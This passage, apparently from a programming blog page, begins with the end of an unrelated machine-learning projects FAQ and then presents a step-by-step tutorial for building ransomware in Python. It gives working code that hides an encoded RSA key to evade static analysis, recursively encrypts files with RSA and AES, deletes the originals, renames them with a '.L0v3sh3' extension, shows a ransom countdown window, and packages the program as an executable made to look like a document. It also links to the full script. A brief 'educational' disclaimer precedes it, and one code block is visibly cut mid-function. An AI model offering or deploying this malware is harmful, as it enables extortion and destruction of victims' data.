    Q: What are some examples of machine learning projects?

    A: Some examples of machine learning projects include handwritten digit recognition, movie recommendation systems, image classification, chatbots, and time series forecasting.

    Q: Are there any machine learning projects for beginners?

    A: Yes, there are many machine learning projects that are designed for beginners to learn the basics of machine learning and gradually progress to more advanced projects. Examples include handwritten digit recognition, movie recommendation systems, and image classification.

    Q: Are there any machine learning projects for intermediate level learners?

    A: Yes, there are many machine learning projects that are designed for intermediate level learners. Examples include object detection, image segmentation, generative adversarial networks, natural language processing with transformer models, and reinforcement learning.

    Q: Are there any machine learning projects for advanced level learners?

    A: Yes, there are many machine learning projects that are designed for advanced level learners. Examples include generative models with variational autoencoders, reinforcement learning with deep Q-networks, natural language processing with transformers, deep reinforcement learning with multi-agent systems and deep learning for computer vision with object detection and segmentation.

    Conclusion

    In conclusion, machine learning is a rapidly growing field that offers a wide range of opportunities for learning and development. Whether you are a beginner, an intermediate level learner, or an advanced level learner, there are many machine learning projects that you can explore and learn from. These projects range from simple supervised learning tasks such as handwritten digit recognition to more advanced projects such as deep reinforcement learning with multi-agent systems. By working on these projects, you can gain a deeper understanding of machine learning concepts and techniques, practice your skills, and stay updated with the latest advancements in the field. Furthermore, you can also work on different projects from various domains like Computer Vision, NLP, Recommender Systems, etc. to gain a broad understanding of the field.

  • How to Make Ransomware with Python

    How to Make Ransomware with Python

    Disclaimer:
    This tutorial is just for educational purposes, donโ€™t try to break any computer except yours. If you try to make real ransomware, you are breaking the law and you are going to jail.

    Today I will explain to you how to make ransomware and how it works with the python language.

    What is ransomware?

    Itโ€™s like other malicious software or computer viruses, but with one purpose to encrypt your data and make a ransom for you. Your data is encrypted with asymmetric encryption, and the virus just encrypts with the public key. There is a private key to decrypt your data back, but you know that an attacker will not attach the private key to the virus.

    Discover: How to Create Malware in Python Practically

    Prepare for making ransomware

    Before you build some program, you must know about what it will be and what it will do. Here is my checklist, and you can use your own checklist.

    1. The program should be an executable file and the icon like a document file.
    2. The program must encrypt data with the public key
    3. After encryption, the program must remove the original files and change the encrypted file extension with โ€œ.L0v3sh3โ€, Haha. I like this extension
    4. The program must show a pop-up message with a countdown timer.

    Develop the program

    Step 1 โ€” Generate Private & Public Key

    
    '''
    pip install pycryptodome
    '''
    
    from Crypto.PublicKey import RSA
    
    key = RSA.generate(2048)
    privateKey = key.export_key()
    publicKey = key.publickey().export_key()
    
    # save private key to file
    with open('private.pem', 'wb') as f:
        f.write(privateKey)
    
    # save public key to file
    with open('public.pem', 'wb') as f:
        f.write(publicKey)
    
    print('Private key saved to private.pem')
    print('Public key saved to public.pem')
    print('Done')
    list of files

    After running the genKey.py there are 2 files, private.pem and public.pem.
    Save your private.pem securely.

    Step 2 โ€” Encode the public key

    The main purpose of encoding is to make the public key hard to identify with static malware analysis.
    So, I encode the public key with base64 and attach that to my code.

    In the python script you can use this script:

    import base64code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc=" 
    print(base64.b64decode(code))

    So, you can encode your private key, then decode it in the python script.

    import base64with open('public.pem', 'rb') as f:
    public = f.read()print(base64.b64encode(public))

    Step 3 โ€” A python script to encrypt some files in the directory

    The idea I got from my last article about organizing files with python.

    def scanRecurse(baseDir):
    for entry in os.scandir(baseDir):
    if entry.is_file():
    yield entry
    else:
    yield from scanRecurse(entry.path)

    The function above is a recursive function for scanning directories and getting a bunch of files listed with paths. Then, we use the encryption function and run it with our file list before. Here is the test function to make sure that the function is working.

    
    import base64
    import os
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP, AES
    
    '''
    with open('public.pem', 'rb') as f:
        public = f.read()
    print(base64.b64encode(public))
    '''
    
    # public key with base64 encoding
    pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
    pubKey = base64.b64decode(pubKey)
    
    
    def scanRecurse(baseDir):
        '''
        Scan a directory and return a list of all files
        return: list of files
        '''
        for entry in os.scandir(baseDir):
            if entry.is_file():
                yield entry
            else:
                yield from scanRecurse(entry.path)
    
    
    def encrypt(dataFile, publicKey):
        '''
        use EAX mode to allow detection of unauthorized modifications
        '''
        # read data from file
        with open(dataFile, 'rb') as f:
            data = f.read()
    
        # convert data to bytes
        data = bytes(data)
    
        # create public key object
        key = RSA.import_key(publicKey)
        sessionKey = os.urandom(16)
    
        # encrypt the session key with the public key
        cipher = PKCS1_OAEP.new(key)
        encryptedSessionKey = cipher.encrypt(sessionKey)
    
        # encrypt the data with the session key
        cipher = AES.new(sessionKey, AES.MODE_EAX)
        ciphertext, tag = cipher.encrypt_and_digest(data)
    
        # save the encrypted data to file
        [ fileName, fileExtension ] = dataFile.split('.')
        encryptedFile = fileName + '_encrypted.' + fileExtension
        with open(encryptedFile, 'wb') as f:
            [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
        print('Encrypted file saved to ' + encryptedFile)
    
    fileName = 'test.txt'
    encrypt(fileName, pubKey)
    

    And for the decrypt function, you can use my script before.

    https://gist.githubusercontent.com/febimudiyanto/fb00a34415b73e74cd088dfcaed6e340/raw/55bbea86cff300e294e8952dd30e19662f5f4908/decryptFile.py

    Letโ€™s scan the file, encrypt that, and then change the extension.

    import base64
    import os
    from pathlib import Path
    from Crypto.PublicKey import RSA
    from Crypto.Cipher import PKCS1_OAEP, AES
    
    
    # public key with base64 encoding
    pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
    pubKey = base64.b64decode(pubKey)
    
    
    def scanRecurse(baseDir):
        '''
        Scan a directory and return a list of all files
        return: list of files
        '''
        for entry in os.scandir(baseDir):
            if entry.is_file():
                yield entry
            else:
                yield from scanRecurse(entry.path)
    
    
    def encrypt(dataFile, publicKey):
        '''
        Input: path to file to encrypt, public key
        Output: encrypted file with extension .L0v3sh3 and remove original file
        use EAX mode to allow detection of unauthorized modifications
        '''
        # read data from file
        extension = dataFile.suffix.lower()
        dataFile = str(dataFile)
        with open(dataFile, 'rb') as f:
      [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
        os.remove(dataFile)
    
    
    # change directory to the directory of the script
    # keep secure of changing the directory,
    # DONT RUN THIS SCRIPT ON YOUR PC
    directory = '../' # CHANGE THIS
    excludeExtension = ['.py','.pem', '.exe'] # CHANGE THIS
    for item in scanRecurse(directory):
        filePath = Path(item)
        fileType = filePath.suffix.lower()
    
        if fileType in excludeExtension:
            continue
        encrypt(filePath, pubKey)

    For the testing, I wanna use the parent of this programโ€™s directory for scanning and encrypting with this script.

    Here is my directory before running malware:

    my directory before running malware
    content of parent.txt
    content of testFile.txt

    Here is my directory after running malware:

    content of parent.txt after running program
    content of testFile.txt after running program

    We were able to make a python program for encrypting files and changing file extensions.

    Step 4 โ€” Countdown and message after encrypting done

    Just copy my script and paste it into the end of the malware script.

    import tkinter as tk
    
    def countdown(count):
        # change text in label
        # count = '01:30:00'
        hour, minute, second = count.split(':')
        hour = int(hour)
        minute = int(minute)
        second = int(second)
    
        label['text'] = '{}:{}:{}'.format(hour, minute, second)
    
        if second > 0 or minute > 0 or hour > 0:
            # call countdown again after 1000ms (1s)
            if second > 0:
                second -= 1
            elif minute > 0:
                minute -= 1
                second = 59
            elif hour > 0:
                hour -= 1
                minute = 59
                second = 59
            root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second))
    
    root = tk.Tk()
    root.title('L0v3sh3 Ransomware')
    root.geometry('500x300')
    root.resizable(False, False)
    label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold'))
    label1.pack()
    label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue')
    label.pack()
    
    # call countdown first time
    countdown('01:30:00')
    # root.after(0, countdown, 5)
    root.mainloop()

    Final step โ€” Build an executable file with auto-py-to-exe

    I canโ€™t explain more to you, but you could read this article, https://dev.to/eshleron/how-to-convert-py-to-exe-step-by-step-guide-3cfi

    Thatโ€™s a very detailed explanation.

    BONUS

    Here is my full script, just copy it but donโ€™t forget to understand what you write.

    https://github.com/febimudiyanto/python-project/tree/main/simple-ransomware

    Launch the Ransomware

    test running the ransomware

    Apologies for my typo in the countdown timer ๐Ÿ˜€

    Conclusion

    This is a scary project, right?
    Be careful when you execute the program, make sure you change the directory and try it in your Virtual Machine/Lab.

    With my program you could modify for the reverse, decrypting the .L0v3sh3 files. Just change the encrypt function with decrypt with some logic.

    For mitigation, this ransomware has Never trusted the file. If you are using Windows as your Operating System, always turn on the extension view so you can differentiate which executable file or document file.

    Thanks for reading.

    UPDATE

    If you search for decrypting the encrypted file, please look at my github above (at the BONUS session).
    I also put the private and public key, andย decryptor.pyย to make it easier for you.

    More Python Project